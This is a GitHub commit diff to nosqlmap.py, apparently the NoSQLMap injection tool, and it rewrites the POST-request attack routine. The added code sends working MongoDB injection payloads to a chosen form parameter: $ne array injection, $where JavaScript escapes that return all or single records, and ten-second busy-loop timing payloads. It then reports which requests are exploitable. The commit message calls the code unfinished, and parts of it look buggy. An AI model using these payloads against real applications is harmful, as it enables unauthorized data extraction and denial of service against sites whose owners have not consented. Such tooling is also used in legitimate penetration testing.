Skip to content

Commit 248f8c2

Browse files
committed
POST code complete; Debug needed
1 parent fbaba4e commit 248f8c2

File tree

1 file changed

+97
-119
lines changed

1 file changed

+97
-119
lines changed

nosqlmap.py

Lines changed: 97 additions & 119 deletions
Original file line numberDiff line numberDiff line change
@@ -541,19 +541,35 @@ def postApps():
541541
print "Looks like the server didn't respond. Check your options."
542542

543543
if appUp == True:
544-
544+
545+
menuItem = 1
546+
print "List of parameters:"
547+
for params in postData.keys():
548+
print str(menuItem) + "-" + params
549+
menuItem += 1
550+
551+
try:
552+
injIndex = raw_input("Which parameter should we inject? ")
553+
injOpt = str(postData.keys()[int(injIndex)-1])
554+
print "Injecting the " + injOpt + " parameter..."
555+
except:
556+
print str(sys.exc_info())
557+
raw_input("Something went wrong. Press enter to return to the main menu...")
558+
mainMenu()
559+
545560
injectSize = raw_input("Baseline test-Enter random string size: ")
546561
injectString = randInjString(int(injectSize))
547562
print "Using " + injectString + " for injection testing.\n"
548563

564+
549565
#Build a random string and insert; if the app handles input correctly, a random string and injected code should be treated the same.
550566
#Add error handling for Non-200 HTTP response codes if random strings freaks out the app.
551-
randomPost = buildPostData(postData,injectString)
552-
print "Checking random injected parameter HTTP response size sending " + str(randomPost) +"...\n"
567+
postData.update({injOpt:injectString})
568+
print "Checking random injected parameter HTTP response size sending " + str(postData) +"...\n"
553569

554-
body = urllib.urlencode(randomPost)
570+
body = urllib.urlencode(postData)
555571
req = urllib2.Request(appURL,body)
556-
randLength = int(len(urllib.urlopen(req).read()))
572+
randLength = int(len(urllib2.urlopen(req).read()))
557573
print "Got response length of " + str(randLength) + "."
558574

559575
randNormDelta = abs(normLength - randLength)
@@ -563,178 +579,204 @@ def postApps():
563579
else:
564580
print "HTTP response varied " + str(randNormDelta) + " bytes with random parameter value!\n"
565581

566-
print "Testing Mongo PHP not equals associative array injection using " + uriArray[1] +"..."
567-
injLen = int(len(urllib.urlopen(uriArray[1]).read()))
582+
#Generate not equals injection
583+
neDict = postData
584+
neDict[injOpt + "[$ne]"] = neDict[injOpt]
585+
del neDict[injOpt]
586+
body = urllib.urlencode(neDict)
587+
req = urllib2.Request(appURL,body)
588+
print "Testing Mongo PHP not equals associative array injection using " + str(postData) +"..."
589+
injLen = int(len(urllib2.urlopen(req).read()))
568590
print "Got response length of " + str(injLen) + "."
569591

570592
randInjDelta = abs(injLen - randLength)
571593

572594
if (randInjDelta >= 100) and (injLen != 0) :
573595
print "Not equals injection response varied " + str(randInjDelta) + " bytes from random parameter value! Injection works!"
574-
vulnAddrs.append(uriArray[1])
596+
vulnAddrs.append(str(neDict))
575597

576598
elif (randInjDelta > 0) and (randInjDelta < 100) and (injLen != 0) :
577599
print "Response variance was only " + str(randInjDelta) + " bytes. Injection might have worked but difference is too small to be certain. "
578-
possAddrs.append(uriArray[1])
600+
possAddrs.append(str(neDict))
579601

580602
elif (randInjDelta == 0):
581603
print "Random string response size and not equals injection were the same. Injection did not work."
582604
else:
583605
print "Injected response was smaller than random response. Injection may have worked but requires verification."
584-
possAddrs.append(uriArray[1])
585-
606+
possAddrs.append(str(neDict))
607+
#Delete the extra key
608+
del postData[injOpt + "[$ne]"]
609+
postData.update({injOpt:"=a'; return db.a.find(); var dummy='!"})
610+
body = urllib.urlencode(postData)
611+
req = urllib2.Request(appURL,body)
586612
print "Testing Mongo <2.4 $where all Javascript string escape attack for all records...\n"
587-
print "Injecting " + uriArray[2]
613+
print "Injecting " + str(postData)
588614

589-
whereStrLen = int(len(urllib.urlopen(uriArray[2]).read()))
615+
whereStrLen = int(len(urllib2.urlopen(req).read()))
590616
whereStrDelta = abs(whereStrLen - randLength)
591617

592618
if (whereStrDelta >= 100) and (whereStrLen > 0):
593619
print "Java $where escape varied " + str(whereStrDelta) + " bytes from random parameter value! Where injection works!"
594620
lt24 = True
595621
str24 = True
596-
vulnAddrs.append(uriArray[2])
622+
vulnAddrs.append(str(postData))
597623

598624
elif (whereStrDelta > 0) and (whereStrDelta < 100) and (whereStrLen - randLength > 0):
599625
print " response variance was only " + str(whereStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
600-
possAddrs.append(uriArray[2])
626+
possAddrs.append(str(postData))
601627

602628
elif (whereStrDelta == 0):
603629
print "Random string response size and $where injection were the same. Injection did not work."
604630

605631
else:
606632
print "Injected response was smaller than random response. Injection may have worked but requires verification."
607-
possAddrs.append(uriArray[2])
633+
possAddrs.append(str(postData))
608634

609635
print "\n"
636+
postData.update({injOpt:"=1; return db.a.find(); var dummy=1"})
637+
body = urllib.urlencode(postData)
638+
req = urllib2.Request(appURL,body)
610639
print "Testing Mongo <2.4 $where Javascript integer escape attack for all records...\n"
611-
print "Injecting " + uriArray[3]
640+
print "Injecting " + str(postData)
612641

613-
whereIntLen = int(len(urllib.urlopen(uriArray[3]).read()))
642+
whereIntLen = int(len(urllib2.urlopen(req).read()))
614643
whereIntDelta = abs(whereIntLen - randLength)
615644

616645
if (whereIntDelta >= 100) and (whereIntLen - randLength > 0):
617646
print "Java $where escape varied " + str(whereIntDelta) + " bytes from random parameter! Where injection works!"
618647
lt24 = True
619648
int24 = True
620-
vulnAddrs.append(uriArray[3])
649+
vulnAddrs.append(str(postData))
621650

622651
elif (whereIntDelta > 0) and (whereIntDelta < 100) and (whereIntLen - randLength > 0):
623652
print " response variance was only " + str(whereIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
624-
possAddrs.append(uriArray[3])
653+
possAddrs.append(str(postData))
625654

626655
elif (whereIntDelta == 0):
627656
print "Random string response size and $where injection were the same. Injection did not work."
628657

629658
else:
630659
print "Injected response was smaller than random response. Injection may have worked but requires verification."
631-
possAddrs.append(uriArray[3])
660+
possAddrs.append(str(postData))
632661

633662
#Start a single record attack in case the app expects only one record back
634663

664+
postData.update({injOpt:"=a'; return db.a.findOne(); var dummy='!"})
665+
body = urllib.urlencode(postData)
666+
req = urllib2.Request(appURL,body)
635667
print "Testing Mongo <2.4 $where all Javascript string escape attack for one record...\n"
636-
print " Injecting " + uriArray[4]
637-
668+
print " Injecting " + str(postData)
638669

639-
whereOneStrLen = int(len(urllib.urlopen(uriArray[4]).read()))
670+
whereOneStrLen = int(len(urllib2.urlopen(req).read()))
640671
whereOneStrDelta = abs(whereOneStrLen - randLength)
641672

642673
if (whereOneStrDelta >= 100) and (whereOneStrLen - randLength > 0):
643674
print "Java $where escape varied " + str(whereOneStrDelta) + " bytes from random parameter value! Where injection works!"
644675
lt24 = True
645676
str24 = True
646-
vulnAddrs.append(uriArray[4])
677+
vulnAddrs.append(str(postData))
647678

648679
elif (whereOneStrDelta > 0) and (whereOneStrDelta < 100) and (whereOneStrLen - randLength > 0):
649680
print " response variance was only " + str(whereOneStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
650-
possAddrs.append(uriArray[4])
681+
possAddrs.append(str(postData))
651682

652683
elif (whereOneStrDelta == 0):
653684
print "Random string response size and $where single injection were the same. Injection did not work."
654685

655686
else:
656687
print "Injected response was smaller than random response. Injection may have worked but requires verification."
657-
possAddrs.append(uriArray[4])
688+
possAddrs.append(str(postData))
658689

659690
print "\n"
691+
postData.update({injOpt:"=1; return db.a.findOne(); var dummy=1"})
692+
body = urllib.urlencode(postData)
693+
req = urllib2.Request(appURL,body)
660694
print "Testing Mongo <2.4 $where Javascript integer escape attack for one record...\n"
661-
print " Injecting " + uriArray[5]
662-
695+
print " Injecting " + str(postData)
663696

664-
whereOneIntLen = int(len(urllib.urlopen(uriArray[5]).read()))
697+
whereOneIntLen = int(len(urllib2.urlopen(req).read()))
665698
whereOneIntDelta = abs(whereOneIntLen - randLength)
666699

667700
if (whereOneIntDelta >= 100) and (whereOneIntLen - randLength > 0):
668701
print "Java $where escape varied " + str(whereOneIntDelta) + " bytes from random parameter! Where injection works!"
669702
lt24 = True
670703
int24 = True
671-
vulnAddrs.append(uriArray[5])
704+
vulnAddrs.append(str(postData))
672705

673706
elif (whereOneIntDelta > 0) and (whereOneIntDelta < 100) and (whereOneIntLen - randLength > 0):
674707
print " response variance was only " + str(whereOneIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
675-
possAddrs.append(uriArray[5])
708+
possAddrs.append(postData)
676709

677710
elif (whereOneIntDelta == 0):
678711
print "Random string response size and $where single record injection were the same. Injection did not work."
679712

680713
else:
681714
print "Injected response was smaller than random response. Injection may have worked but requires verification."
682-
possAddrs.append(uriArray[5])
715+
possAddrs.append(str(postData))
683716

684717
print "\n"
718+
postData.update({injOpt:"=a'; return this.a != '" + injectString + "'; var dummy='!"})
719+
body = urllib.urlencode(postData)
720+
req = urllib2.Request(appURL,body)
721+
685722
print "Testing Mongo this not equals string escape attack for all records..."
686-
print " Injecting " + uriArray[8]
723+
print " Injecting " + str(postData)
687724

688-
whereThisStrLen = int(len(urllib.urlopen(uriArray[8]).read()))
725+
whereThisStrLen = int(len(urllib2.urlopen(req).read()))
689726
whereThisStrDelta = abs(whereThisStrLen - randLength)
690727

691728
if (whereThisStrDelta >= 100) and (whereThisStrLen - randLength > 0):
692729
print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
693-
vulnAddrs.append(uriArray[8])
730+
vulnAddrs.append(str(postData))
694731

695732
elif (whereThisStrDelta > 0) and (whereThisStrDelta < 100) and (whereThisStrLen - randLength > 0):
696733
print " response variance was only " + str(whereThisStrDelta) + "bytes. Injection might have worked but difference is too small to be certain."
697-
possAddrs.append(uriArray[8])
734+
possAddrs.append(str(postData))
698735

699736
elif (whereThisStrDelta == 0):
700737
print "Random string response size and this return response size were the same. Injection did not work."
701738

702739
else:
703740
print "Injected response was smaller than random response. Injection may have worked but requires verification."
704-
possAddrs.append(uriArray[8])
741+
possAddrs.append(str(postData))
705742

706743
print "\n"
744+
postData.update({injOpt:"=1; return this.a != '" + injectString + "'; var dummy=1"})
745+
body = urllib.urlencode(postData)
746+
req = urllib2.Request(appURL,body)
707747
print "Testing Mongo this not equals integer escape attack for all records..."
708-
print " Injecting " + uriArray[9]
748+
print " Injecting " + str(postData)
709749

710-
whereThisIntLen = int(len(urllib.urlopen(uriArray[9]).read()))
750+
whereThisIntLen = int(len(urllib2.urlopen(req).read()))
711751
whereThisIntDelta = abs(whereThisIntLen - randLength)
712752

713753
if (whereThisIntDelta >= 100) and (whereThisIntLen - randLength > 0):
714754
print "Java this not equals varied " + str(whereThisStrDelta) + " bytes from random parameter! Where injection works!"
715-
vulnAddrs.append(uriArray[9])
755+
vulnAddrs.append(str(postData))
716756

717757
elif (whereThisIntDelta > 0) and (whereThisIntDelta < 100) and (whereThisIntLen - randLength > 0):
718758
print " response variance was only " + str(whereThisIntDelta) + "bytes. Injection might have worked but difference is too small to be certain."
719-
possAddrs.append(uriArray[9])
759+
possAddrs.append(str(postData))
720760

721761
elif (whereThisIntDelta == 0):
722762
print "Random string response size and this return response size were the same. Injection did not work."
723763

724764
else:
725765
print "Injected response was smaller than random response. Injection may have worked but requires verification."
726-
possAddrs.append(uriArray[9])
766+
possAddrs.append(str(postData))
727767

728768
print "\n"
729769
doTimeAttack = raw_input("Start timing based tests (y/n)? ")
730770

731771
if doTimeAttack == "y" or doTimeAttack == "Y":
732772
print "Starting Javascript string escape time based injection..."
733773
start = time.time()
734-
strTimeInj = urllib.urlopen(uriArray[6])
735-
page = strTimeInj.read()
774+
postData.update({injOpt:"=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"})
775+
body = urllib.urlencode(postData)
776+
conn = urllib2.urlopen(req,body)
777+
page = conn.read()
736778
end = time.time()
737-
strTimeInj.close()
779+
conn.close()
738780
#print str(end)
739781
#print str(start)
740782
strTimeDelta = (int(round((end - start), 3)) - timeBase)
@@ -744,15 +786,17 @@ def postApps():
744786
strTbAttack = True
745787

746788
else:
747-
print "HTTP load time variance was only " + str(strTimeDelta) + ". Injection probably didn't work."
789+
print "HTTP load time variance was only " + str(strTimeDelta) + "seconds. Injection probably didn't work."
748790
strTbAttack = False
749791

750792
print "Starting Javascript integer escape time based injection..."
751793
start = time.time()
752-
intTimeInj = urllib.urlopen(uriArray[7])
753-
page = intTimeInj.read()
794+
postData.update({injOpt:"=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
795+
body = urllib.urlencode(postData)
796+
conn = urllib2.urlopen(req,body)
797+
page = conn.read()
754798
end = time.time()
755-
intTimeInj.close()
799+
conn.close()
756800
#print str(end)
757801
#print str(start)
758802
intTimeDelta = (int(round((end - start), 3)) - timeBase)
@@ -765,18 +809,11 @@ def postApps():
765809
print "HTTP load time variance was only " + str(intTimeDelta) + "seconds. Injection probably didn't work."
766810
intTbAttack = False
767811

768-
if lt24 == True:
769-
bfInfo = raw_input("MongoDB < 2.4 detected. Start brute forcing database info (y/n)? ")
770-
771-
if bfInfo == "y" or bfInfo == "Y":
772-
getDBInfo()
773-
774-
775812
print "\n"
776-
print "Vunerable URLs:"
813+
print "Exploitable requests:"
777814
print "\n".join(vulnAddrs)
778815
print "\n"
779-
print "Possibly vulnerable URLs:"
816+
print "Possibly vulnerable requests:"
780817
print"\n".join(possAddrs)
781818
print "\n"
782819
print "Timing based attacks:"
@@ -1285,66 +1322,7 @@ def buildUri(origUri, randValue):
12851322
uriArray[x]= uriArray[x][:-1]
12861323
x += 1
12871324

1288-
return uriArray[0]
1289-
1290-
def buildPostData(body,randValue):
1291-
global bodyList
1292-
bodyList = []
1293-
injOpt = ""
1294-
1295-
#Split the string between the path and parameters, and then split each parameter
1296-
1297-
1298-
menuItem = 1
1299-
print "List of parameters:"
1300-
for params in body.keys():
1301-
print str(menuItem) + "-" + params
1302-
menuItem += 1
1303-
1304-
try:
1305-
injIndex = raw_input("Which parameter should we inject? ")
1306-
injOpt = str(body.keys()[int(injIndex)-1])
1307-
print "Injecting the " + injOpt + " parameter..."
1308-
except:
1309-
raw_input("Something went wrong. Press enter to return to the main menu...")
1310-
mainMenu()
1311-
x = 0
1312-
while x <= 18:
1313-
bodyList.append(body)
1314-
x += 1
1315-
1316-
bodyList[0].update({injOpt,randValue})
1317-
#gotta change the key name to include the not equals
1318-
tempStr = str(bodyList[1])
1319-
tempStr = tempStr.replace(injOpt, injOpt + "[$ne]")
1320-
tempDict = ast.literal_eval(tempStr)
1321-
del bodyList[1]
1322-
bodyList.insert(1, tempDict)
1323-
bodyList[2].update({injOpt : "a'; return db.a.find(); var dummy='!"})
1324-
bodyList[3].update({injOpt : "=1; return db.a.find(); var dummy=1"})
1325-
bodyList[4].update({injOpt : "=a'; return db.a.findOne(); var dummy='!"})
1326-
bodyList[5].update({injOpt : "=1; return db.a.findOne(); var dummy=1"})
1327-
bodyList[6].update({injOpt : "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"})
1328-
bodyList[7].update({injOpt : "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
1329-
bodyList[8].update({injOpt : "=a'; return this.a != '" + randValue + "'; var dummy='!"})
1330-
bodyList[9].update({injOpt : "=1; return this.a !=" + randValue + "; var dummy=1"})
1331-
bodyList[10].update({injOpt : "=a\"; return db.a.find(); var dummy=\"!"})
1332-
bodyList[11].update({injOpt : "=a\"; return this.a != '" + randValue + "'; var dummy=\"!"})
1333-
bodyList[12].update({injOpt :"=a\"; return db.a.findOne(); var dummy=\"!"})
1334-
bodyList[13].update({injOpt : "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!"} )
1335-
bodyList[14].update({injOpt : "a'; return true; var dum=a"})
1336-
bodyList[15].update({injOpt : "1; return true; var dum=2"})
1337-
bodyList[16].update({injOpt : "=a\'; ---"})
1338-
bodyList[17].update({injOpt : "=1; ---"})
1339-
1340-
return bodyList[0]
1341-
1342-
1343-
1344-
1345-
1346-
1347-
1325+
return uriArray[0]
13481326

13491327
def stealDBs(myDB):
13501328
menuItem = 1

0 commit comments

Comments
 (0)